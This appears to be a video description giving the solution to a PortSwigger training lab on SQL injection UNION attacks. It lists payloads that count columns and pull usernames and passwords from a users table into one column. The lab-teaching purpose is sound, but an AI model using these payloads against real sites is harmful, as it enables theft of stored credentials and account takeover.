SQLi -10 @HMCyberAcademy | SQL injection UNION attack, retrieving multiple values in a single column

preview_player
Показать описание
Hi, in this playlist we will have solution of all the SQL Injection Attacks in Portswigger Labs.

Lab: SQL injection UNION attack, retrieving multiple values in a single column
Level: PRACTITIONER

Solution:

Vulnerable Parameter → Category

Attack type → UNION attack

To solve the lab, log in as the administrator user.

Task →

1. Number of Columns → 2
1) '+UNION+SELECT+NULL,NULL--
OR
2) '+ORDER+BY+2+--
2. Columns contain string data → Yes
1) '+UNION+SELECT+NULL,'b'--
3. User name , Password →
1) '+UNION+SELECT+NULL,username+FROM+users--
2) '+UNION+SELECT+NULL,password+FROM+users--
3) '+UNION+SELECT+NULL,username||+'~'+||password+FROM+users--
4. Login to myaccount

Note: "+" Plus can be replaced with " " [space] also.

If there are any other payload for this please feel free to type in the comment session.

My other socials/groups:

Thanks for Watching...
Subscribe for more videos!

#portswigger #portswiggerlabs #cybersecurity #kali #hacking #kalitools #sqlinjection #sql #hackinglab #offensivesecurity
#hacking
#penetrationtesting
#offensivesecurity
#offsec
#kali
#kalilinux
#hackingtools
#kalitools
#hackers
#haxtruder
#burpsuite
#cybersecurity
#hacker
#portswigger
#websecurity
#vapt
#cybersecurity
Рекомендации по теме
Комментарии
Автор

Hey dear, god bless your efforts in this channel.
I have a general enquiry as a new sql learner.
How could i create a pipeline to extract and load data from existing accounting program into our SQL server instances.
How can i know if the export mechanism in the software permits me to undertake this extraction process, and how can i know if an application have an api?
Thanks for taking care of my enquires.
Looking forward to gain more knowledge from you.

hasanmougharbel